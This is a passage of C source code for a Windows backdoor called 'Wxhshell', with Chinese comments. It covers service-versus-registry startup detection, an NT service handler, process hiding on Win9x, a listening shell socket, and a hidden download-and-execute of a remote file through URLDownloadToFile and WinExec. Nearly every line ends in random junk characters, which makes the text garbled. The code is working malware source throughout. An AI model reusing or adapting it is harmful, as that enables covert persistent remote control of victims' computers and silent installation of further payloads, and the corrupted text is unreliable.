ULONG UniqueProcessId; E2@65b$
ULONG InheritedFromUniqueProcessId; Q<'nE
} PROCESS_BASIC_INFORMATION; )ufg9"\
luuX2Mx>o
PROCNTQSIP NtQueryInformationProcess; %g$V\zmU
!^=*Jq>
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,dov<U[ia
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vCxD~+zf
1[qLA!+
HANDLE hProcess; UAFwi%@!-q
PROCESS_BASIC_INFORMATION pbi; x:>wUhzZ
O[s{ Gk'>
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s'a/j)^
if(NULL == hInst ) return 0; Z
X(z;|l45
Hl/
QnI!
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BuWHX>H
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WD2]&g
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pP?MWe
Eg
cc&axc7I
if (!NtQueryInformationProcess) return 0; D@|W<i-
jR22t`4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %Bn?n{/
if(!hProcess) return 0; V |/NB
') gi%
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :xD=`ib
~\.w^*$#Y
CloseHandle(hProcess); &8>IeK{I
N#7QzB9]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #PanfYR
if(hProcess==NULL) return 0; e8]\U/
8V)^R(\;
HMODULE hMod; W?aI|U1
char procName[255]; RGg(%.
unsigned long cbNeeded; S\5bmvqP"
%K`% *D
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ll6wpV0m
B}:(za&
CloseHandle(hProcess); #iWSDy
R_68-WO
if(strstr(procName,"services")) return 1; // 以服务启动 ]Nl=wZ#`
2viM)+
return 0; // 注册表启动 mc_ch$r!
} C] 9p5Hs
*R3f{/DK
// 主模块 *@Y3oh}S
int StartWxhshell(LPSTR lpCmdLine) W4e5Rb4~f"
{ ryCI>vJz
SOCKET wsl; Y$Y_fjd_
BOOL val=TRUE; &)vC;$vD`
int port=0; I1\a[Xe8E
struct sockaddr_in door; T ;vF(
GXjfQ~<]
if(wscfg.ws_autoins) Install(); C;`XlQG `
Bj}^\Pc;}
port=atoi(lpCmdLine); {>,V\J0p
+
33@?fl.
if(port<=0) port=wscfg.ws_port; %Gj8F4{
t{FlB!jv
WSADATA data; ;._7jFj.
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8&~~j7p,
k^%B5
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; wUQw!%?>
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0iK;Egwm
door.sin_family = AF_INET; {h2TD
P
door.sin_addr.s_addr = inet_addr("127.0.0.1"); pT1[<X!<s
door.sin_port = htons(port); S_v'hlrrT
9Xl5@%uz?z
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &jczO-R^
closesocket(wsl); +|@rD/I6
return 1; l)w Hl%p
} w'fT=v)
DUe&r,(4O
if(listen(wsl,2) == INVALID_SOCKET) { E)7F\ w
closesocket(wsl); S:q3QgU=X
return 1; CQr<N w
} $w0lrh[+
Wxhshell(wsl); @qjfZH@
WSACleanup(); ;9ly'<up
nJ"YIT1K]p
return 0; s^|.Zr;,>
^Q ps>A(
} nF4a-H&Fo
d,tU#N{Q6
// 以NT服务方式启动 mBJeqG
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HU-QDp%*r7
{ xIGfM>uq
DWORD status = 0; ''^Y>k
DWORD specificError = 0xfffffff; "/6:6`J
rs*Fy@
serviceStatus.dwServiceType = SERVICE_WIN32; Kryo}
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ZA9sTc[
g
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )d-.M
serviceStatus.dwWin32ExitCode = 0; :%AL\n
serviceStatus.dwServiceSpecificExitCode = 0; sf| ke9-3
serviceStatus.dwCheckPoint = 0; ZP$-uaa-
serviceStatus.dwWaitHint = 0; ND,Kldji
zBp{K@U[|M
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {}m PEd b
if (hServiceStatusHandle==0) return; U{$1[,f
EVUq--)~
status = GetLastError(); XfE -fH1j
if (status!=NO_ERROR) `#QG6/0
{ 6XJ[h
serviceStatus.dwCurrentState = SERVICE_STOPPED; }^*F59>H
serviceStatus.dwCheckPoint = 0; aJe^Tp(
serviceStatus.dwWaitHint = 0; ^eGNgE
serviceStatus.dwWin32ExitCode = status; CWG6;NT6m
serviceStatus.dwServiceSpecificExitCode = specificError; wHv]ViNvXE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3bd5FsI^pU
return;
|R@~-Ht
} ~h=X8-D
',4x$qe
serviceStatus.dwCurrentState = SERVICE_RUNNING; d:q +
serviceStatus.dwCheckPoint = 0; G633Lm`ri
serviceStatus.dwWaitHint = 0; ;HBCUe<_
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7HJS.047
} {d%&zvJnD
9W>Y#V~|v!
// 处理NT服务事件,比如:启动、停止 -l-E_6|/W
VOID WINAPI NTServiceHandler(DWORD fdwControl) u!U"N*Y"
{ KkMay
switch(fdwControl) CBKkBuKuk
{ (ihP`k-.
case SERVICE_CONTROL_STOP: <{:
serviceStatus.dwWin32ExitCode = 0; c$,_>tcP
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4E[!,zvl
serviceStatus.dwCheckPoint = 0; qr50E[
serviceStatus.dwWaitHint = 0; X$b={]b
{ xwZ8D<e-,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $BDBN_p
} $W42vjr4
return; C#=bW'C
case SERVICE_CONTROL_PAUSE: 7"*|2Xq
serviceStatus.dwCurrentState = SERVICE_PAUSED; \mN[gT}LHm
break; y3;q_4.
case SERVICE_CONTROL_CONTINUE: G02m/8g3
serviceStatus.dwCurrentState = SERVICE_RUNNING; }o,z!_^PLQ
break; +P`(Rf"luu
case SERVICE_CONTROL_INTERROGATE: \#x}q'BC4
break; V*$L;xbC|
}; 9>#:/g/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rf9_eP
} pA#}-S%
(|fm6$
// 标准应用程序主函数 zggB$5
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )g@S%Yu
{ l0Ti Z
a!c[!
// 获取操作系统版本 W~B5>;y
OsIsNt=GetOsVer(); b~C$R[S
GetModuleFileName(NULL,ExeFile,MAX_PATH); tAFti+Qb
&~f3 psA
// 从命令行安装 FM5e+$>@
if(strpbrk(lpCmdLine,"iI")) Install(); [rOaM$3|
zN_:nY>
// 下载执行文件 mN5
8r"!J
if(wscfg.ws_downexe) { t.hm9}UQ
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Vjm_F!S
WinExec(wscfg.ws_filenam,SW_HIDE); 3%<C<(
} MuEy>dl
L1)@z8]
if(!OsIsNt) { tue/4Q#7
// 如果时win9x,隐藏进程并且设置为注册表启动 =vh8T\
HideProc(); %YlTF\-
StartWxhshell(lpCmdLine); MYnH2w]
} @gBE{)Fj
else q1hMmMi
if(StartFromService()) Q7o5R{.oJ
// 以服务方式启动 1(GHCxA8G
StartServiceCtrlDispatcher(DispatchTable); ^yKY'>T#d
else y9;#1:ic
// 普通方式启动 qJT0Y/l:(
StartWxhshell(lpCmdLine); YY4-bNj[p
b }zBn8l
return 0; VLg
EX4
}